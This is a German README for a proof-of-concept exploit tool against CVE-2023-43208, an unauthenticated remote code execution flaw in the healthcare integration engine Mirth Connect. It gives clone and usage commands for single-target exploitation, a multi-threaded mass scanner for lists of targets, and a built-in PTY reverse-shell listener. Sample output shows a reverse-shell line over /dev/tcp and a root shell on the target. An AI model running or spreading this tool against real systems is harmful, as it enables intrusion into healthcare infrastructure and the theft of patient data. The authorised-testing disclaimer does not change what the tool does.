CVE-2023-43208 — Mirth Connect RCE

Proof-of-Concept-Exploit für CVE-2023-43208, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Mirth Connect Versionen vor 4.4.1.

Beschreibung

Mirth Connect ist eine weit verbreitete Open-Source-Integrationsengine im Gesundheitswesen. Diese Schwachstelle nutzt einen Java-Deserialisierungsfehler über den Endpunkt /api/users aus, indem sie eine manipulierte XML-Nutzlast verwendet, die Apache Commons Collections-Gadgets verkettet, um eine nicht authentifizierte RCE zu erreichen.

Die erweiterte Version ersetzt den ursprünglichen pwncat-Listener durch eine vollständig abhängigkeitsfreie interaktive PTY-Shell, die nur Python-Builtins verwendet (socket, select, tty, termios). Die Shell wird bei Verbindung automatisch auf eine vollständige PTY aktualisiert.

Betroffene Versionen

Funktionen

• Automatische Erkennung von Mirth-Connect-Instanzen
• Versions-Fingerprinting und Schwachstellenprüfung
• Nicht authentifizierte RCE über XML-Deserialisierungsnutzlast
• Automatisches PTY-Shell-Upgrade (python3/python/script Fallback)
• Korrekte Terminalgrößen-Weitergabe (stty rows/cols)
• Massen-Scanner mit Multi-Threading-Unterstützung
• Ausgabe verwundbarer Ziele in eine Datei
• Keine pwncat-Abhängigkeit – nur Stdlib für den Listener

Installation

git clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt

Anforderungen

requests
packaging
rich
alive-progress

Verwendung

Einzelziel — Shell erhalten

python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>

Einzelziel — Mit ngrok / Bind-Port

python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>

Massen-Scan aus Datei

python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt

Argumente

Beispielausgabe

[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...

root@mirth:/# 

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt.
Die nicht autorisierte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.
Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Credits

• Programmiert von: K3ysTr0K3R und Chocapikk
• Verbessert von: 4nuxd